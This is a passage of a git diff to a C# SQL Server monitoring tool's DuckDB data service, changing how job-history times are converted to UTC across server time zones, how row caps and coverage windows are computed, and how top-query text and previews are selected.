+SELECT DISTINCT server_id
+FROM v_job_history
+WHERE run_datetime >= $1
+ORDER BY server_id";
+        command.Parameters.Add(new DuckDBParameter { Value = windowStartUtc.AddHours(-13) });
+
+        var ids = new List<int>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+            ids.Add((int)ToInt64(reader.GetValue(0)));
+
+        return ids;
+    }
+
+    /// <summary>
+    /// The clock one server's window is worked out on (#4966): its collected clock (<see cref="GetServerClockAsync"/>),
+    /// else its open tab's (<paramref name="openTabClock"/>, which the tab layer hands in, since the open tabs are UI objects),
+    /// else the machine's, the chain the Alert History tab uses
+    /// (<see cref="ServerTimeHelper.ClockForServer(ServerClock?, ServerClock?)"/>). A clock read that fails leaves the server on
+    /// the next clock in the chain rather than failing every server's runs, as <c>AlertsHistoryTab.ReadCollectedClocksAsync</c>
+    /// does. The tab's note is worded on this same clock for a single server.
+    /// </summary>
+    internal async Task<ServerClock> ReadJobHistoryClockAsync(int serverId, ServerClock? openTabClock = null)
+    {
+        ServerClock? collected = null;
+        try
+        {
+            collected = await GetServerClockAsync(serverId);
+        }
+        catch (Exception ex)
+        {
+            AppLogger.Debug("JobHistory", $"Server clock read failed for server {serverId}, its window takes its open tab's or the machine's clock: {ex.Message}");
+        }
+
+        return ServerTimeHelper.ClockForServer(collected, openTabClock, MachineZone, DateTime.UtcNow);
+    }
+
+    /// <summary>
+    /// Where the job history's coverage starts for the window, over the servers in <paramref name="serverIds"/> (#4966): the
+    /// earlier of the servers' own answers from the shared probe (<see cref="GetQueryWindowFloorAsync"/> over
+    /// <see cref="QueryWindowRelation.JobHistory"/>: the later of a server's first collection and the table's retention edge, or its
+    /// first row or run in the window if that is earlier). Job history is an event surface: the first collection copies the
+    /// history msdb already holds, so a run's own time can sit long before the coverage this names, and the caller words the
+    /// note from the earlier of this and the earliest run it shows (<c>ServerTab.EarlierOfFloorAndRowShown</c>).
+    /// <para>The probe has no all-servers form, so with a null <paramref name="serverId"/> this reads the server set itself: the servers
+    /// with a job row or a logged job_history run in the window (<see cref="JobHistoryViewerServersSql"/>). The work is
+    /// bounded three ways: only those servers are asked (never every server the store has ever seen); they are asked one after another on the one probe connection, and the loop stops at the first server whose coverage
+    /// reaches the window's start, because the earliest coverage cannot be later than that (<see cref="EarliestCoverageAsync"/>);
+    /// and a window no longer than the 90-minute slack makes no call at all (the tab's guard, <c>ServerTab.ProbeWindowFloorOrNullAsync</c>).
+    /// A probe that throws for any one server fails the whole answer, so the caller shows no note: a floor worked out from some of the
+    /// servers could name a time later than the one a server it never reached covers.</para>
+    /// </summary>
+    /// <param name="serverId">The one server the tab shows, or null for All Servers.</param>
+    /// <param name="startUtc">The window's start, the instant the read took (<see cref="GetJobHistoryAsync(DateTime, int, int?, IReadOnlyDictionary{int, ServerClock}?)"/>).</param>
+    /// <param name="endUtc">The window's end.</param>
+    public async Task<DateTime?> GetJobHistoryDataStartAsync(int? serverId, DateTime startUtc, DateTime endUtc)
+    {
+        IReadOnlyCollection<int> asked = serverId is int one ? [one] : await ReadJobHistoryViewerServerIdsAsync(startUtc, endUtc);
+        return await EarliestCoverageAsync(asked, id => GetQueryWindowFloorAsync(QueryWindowRelation.JobHistory, id, startUtc, endUtc), startUtc);
+    }
+
+    /// <summary>The servers the All Servers note asks: those with a job row or a logged job_history run in [start, end], the rule the
+    /// Darling viewer's probe counts a server by. Read here and not taken from the Server combo.</summary>
+    private const string JobHistoryViewerServersSql = @"
+SELECT DISTINCT server_id
+FROM
+(
+    SELECT server_id FROM v_job_history WHERE collection_time >= $1 AND collection_time <= $2
+    UNION
+    SELECT server_id FROM v_collection_log WHERE collector_name = 'job_history' AND collection_time >= $1 AND collection_time <= $2
+) AS u
+ORDER BY server_id";
+
+    private async Task<List<int>> ReadJobHistoryViewerServerIdsAsync(DateTime startUtc, DateTime endUtc)
+    {
+        using var connection = await OpenConnectionAsync();
+        using var command = connection.CreateCommand();
+        command.CommandText = JobHistoryViewerServersSql;
+        command.Parameters.Add(new DuckDBParameter { Value = startUtc });
+        command.Parameters.Add(new DuckDBParameter { Value = endUtc });
+
+        var ids = new List<int>();
+        using var reader = await command.ExecuteReaderAsync();
+        while (await reader.ReadAsync())
+            ids.Add((int)ToInt64(reader.GetValue(0)));
+
+        return ids;
+    }
+
+    /// <summary>
+    /// The earliest answer of <paramref name="probe"/> over <paramref name="serverIds"/>: null when no server answers (a server
+    /// with nothing in the window answers null), else the earliest instant any server's coverage starts at. Servers are asked in
+    /// order, and the loop returns <paramref name="startUtc"/> at the first server that answers at or before it: that server
+    /// covers the whole window, so no later one can name an earlier start, and the rest are not asked. A probe that throws
+    /// propagates. <c>internal static</c> with the probe passed in, so the tests count the calls it makes.
+    /// </summary>
+    internal static async Task<DateTime?> EarliestCoverageAsync(IEnumerable<int> serverIds, Func<int, Task<DateTime?>> probe, DateTime startUtc)
+    {
+        DateTime? earliest = null;
+        foreach (var id in serverIds)
+        {
+            if (await probe(id) is not DateTime floor)
+            {
+                continue;
+            }
+
+            if (floor <= startUtc)
+            {
+                return startUtc;
+            }
+
+            if (earliest is null || floor < earliest)
+            {
+                earliest = floor;
+            }
+        }
+
+        return earliest;
+    }
+
+    /// <summary>
+    /// The exact window, after the server-local to UTC conversion: keeps the runs at or after
+    /// <paramref name="windowStartUtc"/> (each server's SQL pre-filter is widened by an hour, so a run just before the
+    /// window can still be in the set), orders them newest first by their real instant (two servers' stored wall clocks
+    /// are in different zones, so the raw order is not the order the runs happened in), and keeps the newest
+    /// <paramref name="limit"/>. The server id is the last tie-break so the order is the same on every read. A
+    /// <paramref name="windowEndUtc"/> (#5562) is exclusive and is applied in the SQL before each server's row cap
+    /// (<see cref="ReadJobHistoryForServerAsync"/>); the check here is the exact one after the server-local to UTC conversion.
+    /// </summary>
+    internal static List<JobHistoryRow> ApplyJobHistoryWindow(List<JobHistoryRow> rows, DateTime windowStartUtc, int limit, DateTime? windowEndUtc = null)
+    {
+        return rows
+            .Where(r => r.RunDateTimeUtc is { } runUtc && runUtc >= windowStartUtc && (windowEndUtc is not { } end || runUtc < end))
+            .OrderByDescending(r => r.RunDateTimeUtc)
+            .ThenByDescending(r => r.InstanceId)
+            .ThenByDescending(r => r.ServerId)
+            .Take(Math.Max(limit, 0))
+            .ToList();
+    }
+
+    /// <summary>One server's runs: the newest <paramref name="limit"/> at or after the server-local start of the window,
+    /// each with its run time converted to UTC through <paramref name="clock"/>. Not yet held to the exact window.</summary>
+    private async Task<List<JobHistoryRow>> ReadJobHistoryForServerAsync(int serverId, ServerClock clock, DateTime windowStartUtc, int limit, DateTime? windowEndUtc)
+    {
+        var readLimit = limit;
+        var items = await ReadJobHistoryForServerOnceAsync(serverId, clock, windowStartUtc, readLimit, windowEndUtc);
+        if (windowEndUtc is not { } end || limit <= 0)
+        {
+            return items;
+        }
+
+        /* #5562: the SQL end bound is the server-local end widened by an hour (a daylight-saving change next to the end
+           moves the stored wall clock by an hour against the instant), so runs in that margin can sit among the newest rows
+           and displace runs inside the window from the cap. The margin runs are the newest ones: while the read came back
+           full and holds fewer than <c>limit</c> runs inside the window, read again with room for the missing
+           ones, so the cap lands on the window. A read that came back short has reached the oldest row, so it is complete. */
+        while (items.Count >= readLimit)
+        {
+            var inside = items.Count(r => r.RunDateTimeUtc is { } runUtc && runUtc < end);
+            if (inside >= limit)
+            {
+                break;
+            }
+
+            readLimit += limit - inside;
+            items = await ReadJobHistoryForServerOnceAsync(serverId, clock, windowStartUtc, readLimit, windowEndUtc);
+        }
+
+        return items;
+    }
+
+    private async Task<List<JobHistoryRow>> ReadJobHistoryForServerOnceAsync(int serverId, ServerClock clock, DateTime windowStartUtc, int limit, DateTime? windowEndUtc)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
-        /* run_datetime is server-local wall clock; the cutoff is a local wall-clock instant so a same-tz
-           Lite host (the common case) windows "last N hours" against the run time the way a DBA reads it. */
-        var cutoff = DateTime.Now.AddHours(-hoursBack);
+        /* The server-local start of the exact UTC window: job_stats' lower bound, so the per-job average and last
+           success cover the window the way they always have. base pre-filters an hour earlier, which covers a
+           daylight-saving change inside the span; ApplyJobHistoryWindow drops what that lets in (#4966). */
+        var statsStart = clock.ToServerLocal(windowStartUtc);
+        var preFilterStart = statsStart.AddHours(-1);
 
-        var serverFilter = serverId.HasValue ? "AND   server_id = $2" : string.Empty;
-        var limitParam = serverId.HasValue ? "$3" : "$2";
+        /* #5562 (R6): a window that ended before now has a real END bound, in the SQL and ahead of the row cap, so the cap
+           counts the runs inside the window, not the newer ones after it. The bound is exclusive, on the server-local wall
+           clock, widened an hour like the start; the exact instant check and the margin re-read are ReadJobHistoryForServerAsync's. */
+        var endClause = windowEndUtc.HasValue ? "AND   run_datetime < $5" : string.Empty;
 
         /* #4229 (Darling parity): the per-job average/max used to run as a window function OVER every step
            row the window matched, forcing a full sort/aggregate of the whole set before ORDER BY/LIMIT could
@@ -60,8 +304,9 @@ WITH job_stats AS (
     FROM v_job_history
     WHERE step_id = 0
     AND   run_status = 1
-    AND   run_datetime >= $1
-    {serverFilter}
+    AND   run_datetime >= $3
+    {endClause}
+    AND   server_id = $2
     GROUP BY server_id, job_id
 ),
 base AS (
@@ -84,9 +329,10 @@ base AS (
         message
     FROM v_job_history
     WHERE run_datetime >= $1
-    {serverFilter}
+    {endClause}
+    AND   server_id = $2
     ORDER BY run_datetime DESC, instance_id DESC
-    LIMIT {limitParam}
+    LIMIT $4
 )
 SELECT
     base.collection_time,
@@ -121,15 +367,22 @@ LEFT JOIN job_stats
     AND job_stats.job_id = base.job_id
 ORDER BY base.run_datetime DESC, base.instance_id DESC";
 
-        command.Parameters.Add(new DuckDBParameter { Value = cutoff });
-        if (serverId.HasValue)
-            command.Parameters.Add(new DuckDBParameter { Value = serverId.Value });
+        command.Parameters.Add(new DuckDBParameter { Value = preFilterStart });
+        command.Parameters.Add(new DuckDBParameter { Value = serverId });
+        command.Parameters.Add(new DuckDBParameter { Value = statsStart });
         command.Parameters.Add(new DuckDBParameter { Value = limit });
+        if (windowEndUtc.HasValue)
+        {
+            command.Parameters.Add(new DuckDBParameter { Value = clock.ToServerLocal(windowEndUtc.Value).AddHours(1) });
+        }
 
         var items = new List<JobHistoryRow>();
         using var reader = await command.ExecuteReaderAsync();
         while (await reader.ReadAsync())
         {
+            /* The stored wall clock stays as it is for the grid; the instant is the same time through the server's clock at
+               the run's own date, so a run on the far side of a daylight-saving change is not an hour off (#4966). */
+            DateTime? runDateTime = reader.IsDBNull(12) ? null : reader.GetDateTime(12);
             items.Add(new JobHistoryRow
             {
                 CollectionTime = reader.GetDateTime(0),
@@ -144,7 +397,8 @@ LEFT JOIN job_stats
                 StepName = reader.IsDBNull(9) ? null : reader.GetString(9),
                 RunStatus = (int)ToInt64(reader.GetValue(10)),
                 RunStatusDesc = reader.IsDBNull(11) ? null : reader.GetString(11),
-                RunDateTime = reader.IsDBNull(12) ? null : reader.GetDateTime(12),
+                RunDateTime = runDateTime,
+                RunDateTimeUtc = runDateTime.HasValue ? clock.ToUtc(runDateTime.Value) : null,
                 RunDurationSeconds = ToInt64(reader.GetValue(13)),
                 RetriesAttempted = (int)ToInt64(reader.GetValue(14)),
                 Message = reader.IsDBNull(15) ? null : reader.GetString(15),
@@ -247,7 +501,14 @@ public class JobHistoryRow
     public string? StepName { get; set; }
     public int RunStatus { get; set; }
     public string? RunStatusDesc { get; set; }
+    /// <summary>The run's time as <c>sysjobhistory</c> stored it: the SERVER's own wall clock, which is what the grid shows.</summary>
     public DateTime? RunDateTime { get; set; }
+
+    /// <summary><see cref="RunDateTime"/> as naive UTC (#4966): the stored wall clock through its server's clock at the run's own date.
+    /// What the Job History window and its newest-first order use, so runs of servers in different zones compare by when
+    /// they happened. Not shown in the grid, which keeps the server's wall clock. Null when the run has no time.</summary>
+    public DateTime? RunDateTimeUtc { get; set; }
+
     public long RunDurationSeconds { get; set; }
     public int RetriesAttempted { get; set; }
     public string? Message { get; set; }
diff --git a/Lite/Services/LocalDataService.LatchSpinlock.cs b/Lite/Services/LocalDataService.LatchSpinlock.cs
index d3f81f3422..4866a97d69 100644
--- a/Lite/Services/LocalDataService.LatchSpinlock.cs
+++ b/Lite/Services/LocalDataService.LatchSpinlock.cs
@@ -362,6 +362,10 @@ public class LatchStatsSnapshotRow
     /// <c>FileIoStatsRow</c> / resource-semaphore idiom).</summary>
     public bool IsUnknowable => SampleIntervalSeconds == 0;
 
+    /// <summary>#4966: when this row's snapshot was collected, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CollectionTime"/>), so a reader can tell a stale latest-snapshot grid from a fresh one.</summary>
+    public string CollectionTimeLocal => ServerTimeHelper.FormatServerTime(CollectionTime);
+
     /// <summary>The grid's Interval (sec) cell — see <see cref="DeltaSeriesShaping.IntervalDisplay"/>.</summary>
     public string IntervalDisplay => DeltaSeriesShaping.IntervalDisplay(SampleIntervalSeconds);
 }
@@ -399,6 +403,10 @@ public class SpinlockStatsSnapshotRow
     /// <summary>True when the row's deltas are the unknowable marker — a stored interval of exactly 0.</summary>
     public bool IsUnknowable => SampleIntervalSeconds == 0;
 
+    /// <summary>#4966: when this row's snapshot was collected, to the second, in the display zone (the grid's Collected column,
+    /// which sorts by <see cref="CollectionTime"/>), so a reader can tell a stale latest-snapshot grid from a fresh one.</summary>
+    public string CollectionTimeLocal => ServerTimeHelper.FormatServerTime(CollectionTime);
+
     /// <summary>The grid's Interval (sec) cell — see <see cref="DeltaSeriesShaping.IntervalDisplay"/>.</summary>
     public string IntervalDisplay => DeltaSeriesShaping.IntervalDisplay(SampleIntervalSeconds);
 }
diff --git a/Lite/Services/LocalDataService.LongQueries.cs b/Lite/Services/LocalDataService.LongQueries.cs
index ed60eb0807..99f869c947 100644
--- a/Lite/Services/LocalDataService.LongQueries.cs
+++ b/Lite/Services/LocalDataService.LongQueries.cs
@@ -17,6 +17,14 @@ namespace PerformanceMonitorLite.Services;
 
 public partial class LocalDataService
 {
+    /// <summary>
+    /// The Long Queries grid's row cap (#4989): <see cref="GetRecentLongQueryCompletionsAsync"/> returns the newest this many
+    /// completions of the window, by <c>event_time</c>. It is the one value behind the read's <c>LIMIT</c> and behind the
+    /// grid's "Showing since" notice, which names the oldest completion the grid shows once a read comes back at the cap
+    /// (<c>ServerTab.RefreshCappedGridBannerAsync</c>), so the two cannot drift apart.
+    /// </summary>
+    public const int LongQueryGridCap = 200;
+
     /// <summary>
     /// Recent long-running query completions (#1496) from <c>v_long_query_completions</c> (the archive
     /// union view), for the Long Queries grid. Reads the most recent completions in the window; the grid
@@ -38,9 +46,9 @@ public async Task<List<LongQueryCompletionRow>> GetRecentLongQueryCompletionsAsy
         var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
 
         command.CommandText = LongQueryCompletionsSelect + @"
-FROM " + StoredEventCopies.LongQueryCompletions("server_id = $1 AND collection_time <= $3" + dbClause, collectedFrom: "$2") + @" AS ev
+FROM " + StoredEventCopies.LongQueryCompletions("server_id = $1 AND collection_time <= $3" + dbClause, collectedFrom: "$2") + $@" AS ev
 ORDER BY event_time DESC
-LIMIT 200";
+LIMIT {LongQueryGridCap}";
 
         command.Parameters.Add(new DuckDBParameter { Value = serverId });
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
@@ -58,16 +66,21 @@ ORDER BY event_time DESC
     /// the window is a candidate, so a page cut here still holds the window's slowest; the grid read above
     /// cannot promise that. Callers detecting truncation pass <c>limit + 1</c> and read the extra row as the
     /// signal. Windowed on the UTC helper (offset 0) because the caller is the MCP tool, whose window is UTC.
+    /// <para>#5244: the optional <paramref name="databaseNames"/> narrows the raw rows in the WHERE, before the duration ranking
+    /// and the <c>LIMIT</c>, so the page is the slowest N of the chosen databases and a cap never counts another database's
+    /// rows (Darling's <c>DarlingLongQueryReader</c> predicate sits in the same place). Null or empty reads every database.</para>
     /// </summary>
-    public async Task<List<LongQueryCompletionRow>> GetSlowestLongQueryCompletionsAsync(int serverId, int hoursBack, DateTime? asOfUtc, int limit)
+    public async Task<List<LongQueryCompletionRow>> GetSlowestLongQueryCompletionsAsync(int serverId, int hoursBack, DateTime? asOfUtc, int limit, IReadOnlyList<string>? databaseNames = null)
     {
         using var connection = await OpenConnectionAsync();
         using var command = connection.CreateCommand();
 
         var (startTime, endTime) = GetTimeRange(hoursBack, null, null, asOfUtc);
+        /* $4 is the row cap, so the optional database list starts at $5. */
+        var dbClause = BuildDbInClause(databaseNames, "database_name", 5, out var dbValues);
 
         command.CommandText = LongQueryCompletionsSelect + @"
-FROM " + StoredEventCopies.LongQueryCompletions("server_id = $1 AND collection_time <= $3", collectedFrom: "$2") + @" AS ev
+FROM " + StoredEventCopies.LongQueryCompletions("server_id = $1 AND collection_time <= $3" + dbClause, collectedFrom: "$2") + @" AS ev
 ORDER BY duration_microseconds DESC NULLS LAST, event_time DESC
 LIMIT $4";
 
@@ -75,6 +88,8 @@ public async Task<List<LongQueryCompletionRow>> GetSlowestLongQueryCompletionsAs
         command.Parameters.Add(new DuckDBParameter { Value = startTime });
         command.Parameters.Add(new DuckDBParameter { Value = endTime });
         command.Parameters.Add(new DuckDBParameter { Value = limit });
+        foreach (var db in dbValues)
+            command.Parameters.Add(new DuckDBParameter { Value = db });
 
         return await ReadLongQueryCompletionsAsync(command);
     }
diff --git a/Lite/Services/LocalDataService.Overview.cs b/Lite/Services/LocalDataService.Overview.cs
index 7f8dcc8ff7..e9d361ba64 100644
--- a/Lite/Services/LocalDataService.Overview.cs
+++ b/Lite/Services/LocalDataService.Overview.cs
@@ -12,7 +12,9 @@
 using System.Threading.Tasks;
 using System.Windows.Media;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Ui;
 using PerformanceMonitorLite.Analysis;
 using PerformanceMonitorLite.Database;
 using PerformanceMonitorLite.Models;
@@ -329,6 +331,10 @@ public static class ServerCardStatusRules
 public class ServerSummaryItem
 {
     public string DisplayName { get; set; } = "";
+
+    /// <summary>What a screen reader announces for an Overview card item: the server's name, not the type name.</summary>
+    public override string ToString() => DisplayName;
+
     public string ServerName { get; set; } = "";
     public int ServerId { get; set; }
 
@@ -468,6 +474,28 @@ public void ApplyCollectionFreshness(DateTime nowUtc, DateTime? registeredAtUtc)
         CollectionFreshness = ServerHealthClassifier.ClassifyFreshness(
             LastCollectionTime, registeredAtUtc, RetentionService.OldestRetainedInstant(nowUtc), nowUtc);
 
+    /// <summary>
+    /// The clock of the server this card is for, stamped by the overview refresh: the server's own collected clock,
+    /// else its open tab's, else the machine's (<see cref="ServerTimeHelper.ClockForServer(ServerClock?, ServerClock?)"/>),
+    /// the chain Alert History and Job History use. <see cref="LastCollectionDisplay"/> converts on it in Server
+    /// mode, so the card reads the same wall clock as that server's alert and job rows. Null on a hand-built item,
+    /// which then takes the active server's clock.
+    /// </summary>
+    public ServerClock? Clock { get; set; }
+
+    /// <summary>
+    /// The Last Collect time as the card words it: <paramref name="lastCollectionUtc"/> (naive UTC) in the selected
+    /// "Show timestamps in" mode on <paramref name="clock"/> (the same zone choice as the Alert History and Job History
+    /// rows), as "HH:mm:ss" when that wall time falls on today's date in the same zone, and with its date
+    /// ("yyyy-MM-dd HH:mm:ss") otherwise, so a collection from nine days ago does not read as one from this morning.
+    /// </summary>
+    internal static string FormatLastCollect(DateTime lastCollectionUtc, TimeDisplayMode mode, ServerClock? clock, DateTime nowUtc)
+    {
+        var zone = ServerTimeHelper.DisplayZoneFor(mode, clock ?? ServerTimeHelper.ActiveServerClock);
+        var isToday = DisplayZone.ToDisplay(lastCollectionUtc, zone).Date == DisplayZone.ToDisplay(nowUtc, zone).Date;
+        return ServerTimeHelper.FormatInstant(lastCollectionUtc, zone, isToday ? "HH:mm:ss" : "yyyy-MM-dd HH:mm:ss");
+    }
+
     /// <summary>
     /// The Last Collect row. Names its band in words when the collection is not current, because a colour
     /// alone is what this row already had against it: it was a bare "HH:mm:ss" in the plain foreground
@@ -483,7 +511,7 @@ public string LastCollectionDisplay
             if (!LastCollectionTime.HasValue)
                 return CollectionFreshness == ServerFreshness.Offline ? "None retained (stopped)" : "Never";
 
-            var stamp = ServerTimeHelper.FormatServerTime(LastCollectionTime, "HH:mm:ss");
+            var stamp = FormatLastCollect(LastCollectionTime.Value, ServerTimeHelper.CurrentDisplayMode, Clock, DateTime.UtcNow);
             return CollectionFreshness switch
             {
                 ServerFreshness.Stale => $"{stamp} (stale)",
diff --git a/Lite/Services/LocalDataService.QueryHeatmap.cs b/Lite/Services/LocalDataService.QueryHeatmap.cs
index f7c2fe63f5..e7d12bcf03 100644
--- a/Lite/Services/LocalDataService.QueryHeatmap.cs
+++ b/Lite/Services/LocalDataService.QueryHeatmap.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Threading.Tasks;
 using DuckDB.NET.Data;
+using PerformanceMonitor.Common;
 using PerformanceMonitor.Analysis.Baselines;
 
 namespace PerformanceMonitorLite.Services;
@@ -77,18 +78,17 @@ public async Task<List<QueryHeatmapCellRow>> GetQueryHeatmapCellsAsync(
         var dbClause = BuildDbInClause(databaseNames, "database_name", 4, out var dbValues);
         var bucketIndex = 4 + dbValues.Count;
         var limitIndex = 5 + dbValues.Count;
-        var previewIndex = 6 + dbValues.Count;
 
-        /* Preview width is a bound parameter, not the literal 120 (#4198): fetched at previewLength + 1
-           characters (Darling's twin over-fetch-by-one idiom, DarlingQueryHeatmapReader), so the one extra
-           character IS the truncation signal read back in C# below rather than a second round trip. */
+        /* The top statement comes back WHOLE (#5320): the statement filter judges the whole text and the preview is cut
+           from the judged text in C# below, so no cut can end inside a value whose naming text lies past it. The
+           truncation signal (#4198) is the judged text running past previewLength. */
         command.CommandText = $@"
 WITH per_query AS (
     SELECT
         time_bucket(to_minutes(CAST(${bucketIndex} AS INTEGER)), collection_time, TIMESTAMP '1970-01-01 00:00:00') AS time_bin,
         {metricExpr} AS metric_value,
         query_hash,
-        LEFT(query_text, ${previewIndex}) AS query_preview,
+        query_text AS query_preview,
         delta_execution_count
     FROM v_query_stats
     WHERE server_id = $1
@@ -132,13 +132,14 @@ FROM binned
             command.Parameters.Add(new DuckDBParameter { Value = db });
         command.Parameters.Add(new DuckDBParameter { Value = bucketMinutes });
         command.Parameters.Add(new DuckDBParameter { Value = maxRows });
-        command.Parameters.Add(new DuckDBParameter { Value = previewLength + 1 });
 
         var rows = new List<QueryHeatmapCellRow>();
         using var reader = await command.ExecuteReaderAsync();
         while (await reader.ReadAsync())
         {
-            var fetchedText = reader.IsDBNull(4) ? "" : reader.GetString(4);
+            /* #5320: the WHOLE statement is judged first, then cut, so a preview never ends inside a value whose naming
+               text lies past the cut. A named statement is the placeholder, which is no cut at all. */
+            var fetchedText = SensitiveStatements.Text(reader.IsDBNull(4) ? "" : reader.GetString(4)) ?? "";
             var truncated = fetchedText.Length > previewLength;
             rows.Add(new QueryHeatmapCellRow
             {
@@ -146,7 +147,7 @@ FROM binned
                 BucketIndex = reader.IsDBNull(1) ? 0 : (int)ToDouble(reader.GetValue(1)),
                 QueryCount = reader.IsDBNull(2) ? 0 : (long)ToDouble(reader.GetValue(2)),
                 TopQueryHash = reader.IsDBNull(3) ? "" : reader.GetString(3),
-                TopQueryText = truncated ? fetchedText[..previewLength] : fetchedText,
+                TopQueryText = truncated ? fetchedText[..McpHelpers.TextElementCutLength(fetchedText, previewLength)] : fetchedText,
                 TopQueryTextTruncated = truncated,
             });
         }
diff --git a/Lite/Services/LocalDataService.QueryStats.cs b/Lite/Services/LocalDataService.QueryStats.cs
index e024e8bd52..274e03c4d9 100644
--- a/Lite/Services/LocalDataService.QueryStats.cs
+++ b/Lite/Services/LocalDataService.QueryStats.cs
@@ -14,6 +14,7 @@
 using DuckDB.NET.Data;
 using Microsoft.Data.SqlClient;
 using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Ui;
 using PerformanceMonitor.Common;
 
@@ -91,24 +92,11 @@ GROUP BY date_trunc('hour', collection_time)
     }
 
     /// <summary>
-    /// The top-N query-stats groups by CPU over the window. <paramref name="minMaxDop"/> is the lifetime
-    /// <c>max_dop</c> floor a group must reach to be RANKED at all (#3541 A13): 0 for no parallelism filter
-    /// (the grids' read, byte-identical to before), 2 for the MCP tool's <c>parallel_only</c>, the caller's
-    /// <c>min_dop</c> otherwise. It is a HAVING predicate on the grouped population, before the CPU ordering
-    /// and the cap, so the page is the top-N of the filtered population — the tool used to filter the
-    /// returned top-N page in C#, and a box whose hottest plans were all serial answered an empty page while
-    /// the window held parallel plans. Darling's <c>TopQueriesSql</c> carries the same floor as its $6.
+    /// The statement behind <see cref="GetTopQueriesByCpuAsync"/>, split out so a test can run it beside the pre-#5381
+    /// statement it replaced. <paramref name="dbClause"/> is the <see cref="BuildDbInClause"/> predicate (or empty);
+    /// <paramref name="candidates"/> is the ranking cut TopFill asked for.
     /// </summary>
-    public async Task<List<QueryStatsRow>> GetTopQueriesByCpuAsync(int serverId, int hoursBack = 24, int top = 50, DateTime? fromDate = null, DateTime? toDate = null, ServerClock? serverClock = null, IReadOnlyList<string>? databaseNames = null, DateTime? asOfUtc = null, int minMaxDop = 0)
-    {
-        using var _q = TimeQuery("GetTopQueriesByCpuAsync", "v_query_stats top N by CPU");
-        using var connection = await OpenConnectionAsync();
-        using var command = connection.CreateCommand();
-
-        var (startTime, endTime) = GetTimeRange(hoursBack, fromDate, toDate, asOfUtc);
-        var dbClause = BuildDbInClause(databaseNames, "database_name", 7, out var dbValues);
-
-        command.CommandText = @"
+    internal static string TopQueriesByCpuSql(string dbClause, int candidates) => @"
 WITH ranked AS (
     SELECT
         database_name,
@@ -172,8 +160,10 @@ FROM v_query_stats
        and the cap — see the method's note. $6 = 0 admits every group; NULL max_dop (never captured) reads
        as 0 and stays out of a filtered page, as the C# arm it replaces did. */
     AND   COALESCE(MAX(max_dop), 0) >= $6
-    ORDER BY SUM(delta_worker_time) DESC
-    LIMIT $4 + 5
+    /* #5299 round 3 (O16): the ranking ends on the whole group key, so a tie at the candidate cut picks the same keys in every
+       refill round, as the Darling and Viewer twins do. */
+    ORDER BY SUM(delta_worker_time) DESC, database_name, query_hash, host_object_name
+    LIMIT " + candidates + @"
 ),
 module AS (
     /* #1568 module attribution: one procedure_stats identity per sql_handle (latest collection_time
@@ -192,40 +182,101 @@ db.schema.object and the query_stats row never fans out. Both stores persist the
             object_name,
             schema_name,
             database_name,
-            ROW_NUMBER() OVER (PARTITION BY sql_handle ORDER BY collection_time DESC) AS rn
+            ROW_NUMBER() OVER (PARTITION BY sql_handle ORDER BY collection_time DESC, collection_id DESC) AS rn
         FROM v_procedure_stats
         WHERE server_id = $1
         AND   sql_handle IS NOT NULL
         AND   sql_handle <> ''
     ) ranked_modules
     WHERE rn = 1
-)
+),
+texts AS (
+    /* #5381: the representative text is fetched AFTER the ranking, for the candidate groups only, and from the
+       read's own window. It used to be a LATERAL 'newest text per group' over the WHOLE archive with no time
+       filter, which DuckDB runs as a window over every archived row with query_text carried through it: the read's
+       memory grew with the archive (an out of memory at Lite's 1 GB limit from three daily files), not with the
+       window. This is one aggregate over the window's rows of the candidate groups: it keeps one text per group, and
+       the parquet files outside the window are pruned by collection_time.
+       The pick is the one the lateral made: the newest row of the group's OWN key (#2012 stage 2: the host
+       constraint, NOT DISTINCT FROM so ad-hoc NULL hosts still match ad-hoc rows) that carries a text, a tie on the
+       time broken on the row collected last (#5299 round 2 N3). The plan comes from that same row, even when it is NULL.
+       Difference from the lateral, on purpose: the text comes from the window, so a window that ends in the past
+       shows the window's newest statement rather than the newest one ever captured. */
+    SELECT
+        w_pick.database_name,
+        w_pick.query_hash,
+        w_pick.host_object_name,
+        w_pick.w.t AS query_text,
+        w_pick.w.p AS query_plan_xml
+    FROM
+    (
+        /* #5381 G1: text and plan are packed into ONE struct and picked together. Two separate arg_max calls
+           would each skip rows whose OWN argument is NULL, so a newest row with text but a NULL plan would
+           take the plan from an older row; the lateral this replaces read both from the one row. */
+        SELECT
+            q.database_name,
+            q.query_hash,
+            q.host_object_name,
+            arg_max(struct_pack(t := q.query_text, p := q.query_plan_xml), (q.collection_time, q.collection_id))
+                FILTER (WHERE q.query_text IS NOT NULL) AS w
+        FROM v_query_stats q
+        JOIN ranked r
+          ON  r.query_hash = q.query_hash
+          AND r.database_name = q.database_name
+          AND r.host_object_name IS NOT DISTINCT FROM q.host_object_name
+        WHERE q.server_id = $1
+        AND   q.collection_time >= $2
+        AND   q.collection_time <= $3
+        GROUP BY q.database_name, q.query_hash, q.host_object_name
+    ) w_pick
+),
+page AS (
 SELECT
     r.*,
     t.query_text,
     t.query_plan_xml AS query_plan,
     m.object_name AS module_object_name,
     m.schema_name AS module_schema_name,
-    m.database_name AS module_database_name
+    m.database_name AS module_database_name,
+    ROW_NUMBER() OVER (ORDER BY r.total_cpu_us DESC, r.database_name, r.query_hash, r.host_object_name) AS page_ord
 FROM ranked r
-LEFT JOIN LATERAL (
-    SELECT query_text, query_plan_xml
-    FROM v_query_stats
-    WHERE server_id = $1
-    AND   query_hash = r.query_hash
-    AND   database_name = r.database_name
-    /* #2012 stage 2: the representative text must come from THIS group's own rows - without the
-       host constraint a hash shared across host objects could label one caller's row with
-       another caller's text (NOT DISTINCT FROM so ad-hoc NULL hosts still match ad-hoc rows). */
-    AND   host_object_name IS NOT DISTINCT FROM r.host_object_name
-    AND   query_text IS NOT NULL
-    ORDER BY collection_time DESC
-    LIMIT 1
-) t ON TRUE
+LEFT JOIN texts t
+       ON  t.database_name = r.database_name
+       AND t.query_hash = r.query_hash
